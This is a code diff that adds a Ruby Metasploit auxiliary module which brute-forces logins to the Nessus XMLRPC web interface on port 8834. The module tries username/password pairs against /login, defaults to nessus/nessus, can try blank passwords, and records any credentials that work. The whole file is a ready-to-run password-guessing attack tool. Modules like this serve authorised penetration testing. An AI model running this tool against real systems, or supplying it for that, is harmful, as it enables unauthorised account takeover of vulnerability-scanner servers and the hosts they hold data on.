|
| 1 | +## |
| 2 | +# nessus_xmlrpc_login.rb |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This module requires Metasploit: http://metasploit.com/download |
| 7 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 8 | +## |
| 9 | + |
| 10 | +require 'msf/core' |
| 11 | + |
| 12 | +class Metasploit3 < Msf::Auxiliary |
| 13 | + |
| 14 | + include Msf::Exploit::Remote::HttpClient |
| 15 | + include Msf::Auxiliary::Report |
| 16 | + include Msf::Auxiliary::AuthBrute |
| 17 | + include Msf::Auxiliary::Scanner |
| 18 | + |
| 19 | + def initialize |
| 20 | + super( |
| 21 | + 'Name' => 'Nessus XMLRPC Interface Login Utility', |
| 22 | + 'Description' => %q{ |
| 23 | + This module simply attempts to login to a Nessus XMLRPC interface using a |
| 24 | + specific user/pass. |
| 25 | + }, |
| 26 | + 'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ], |
| 27 | + 'License' => MSF_LICENSE |
| 28 | + ) |
| 29 | + |
| 30 | + register_options( |
| 31 | + [ |
| 32 | + Opt::RPORT(8834), |
| 33 | + OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]), |
| 34 | + OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) |
| 35 | + ], self.class) |
| 36 | + |
| 37 | + register_advanced_options( |
| 38 | + [ |
| 39 | + OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) |
| 40 | + ], self.class) |
| 41 | + end |
| 42 | + |
| 43 | + def run_host(ip) |
| 44 | + begin |
| 45 | + res = send_request_cgi({ |
| 46 | + 'uri' => datastore['URI'], |
| 47 | + 'method' => 'GET' |
| 48 | + }, 25) |
| 49 | + http_fingerprint({ :response => res }) |
| 50 | + rescue ::Rex::ConnectionError => e |
| 51 | + vprint_error("#{datastore['URI']} - #{e}") |
| 52 | + return |
| 53 | + end |
| 54 | + |
| 55 | + if not res |
| 56 | + vprint_error("#{datastore['URI']} - No response") |
| 57 | + return |
| 58 | + end |
| 59 | + if res.code != 403 |
| 60 | + vprint_error("Authorization not requested") |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + each_user_pass do |user, pass| |
| 65 | + do_login(user, pass) |
| 66 | + end |
| 67 | + end |
| 68 | + |
| 69 | + def do_login(user='nessus', pass='nessus') |
| 70 | + vprint_status("Trying username:'#{user}' with password:'#{pass}'") |
| 71 | + headers = {} |
| 72 | + |
| 73 | + begin |
| 74 | + res = send_request_cgi({ |
| 75 | + 'encode' => true, |
| 76 | + 'uri' => datastore['URI'], |
| 77 | + 'method' => 'POST', |
| 78 | + 'headers' => headers, |
| 79 | + 'vars_post' => { |
| 80 | + 'login' => user, |
| 81 | + 'password' => pass |
| 82 | + } |
| 83 | + }, 25) |
| 84 | + |
| 85 | + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
| 86 | + print_error("HTTP Connection Failed, Aborting") |
| 87 | + return :abort |
| 88 | + end |
| 89 | + |
| 90 | + if not res |
| 91 | + print_error("Connection timed out, Aborting") |
| 92 | + return :abort |
| 93 | + end |
| 94 | + |
| 95 | + if res.code != 200 |
| 96 | + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
| 97 | + return :skip_pass |
| 98 | + end |
| 99 | + |
| 100 | + if res.code == 200 |
| 101 | + if res.body =~ /<status>OK<\/status>/ |
| 102 | + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") |
| 103 | + |
| 104 | + report_hash = { |
| 105 | + :host => datastore['RHOST'], |
| 106 | + :port => datastore['RPORT'], |
| 107 | + :sname => 'nessus-xmlrpc', |
| 108 | + :user => user, |
| 109 | + :pass => pass, |
| 110 | + :active => true, |
| 111 | + :type => 'password'} |
| 112 | + |
| 113 | + report_auth_info(report_hash) |
| 114 | + return :next_user |
| 115 | + end |
| 116 | + end |
| 117 | + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
| 118 | + return :skip_pass |
| 119 | + end |
| 120 | +end |
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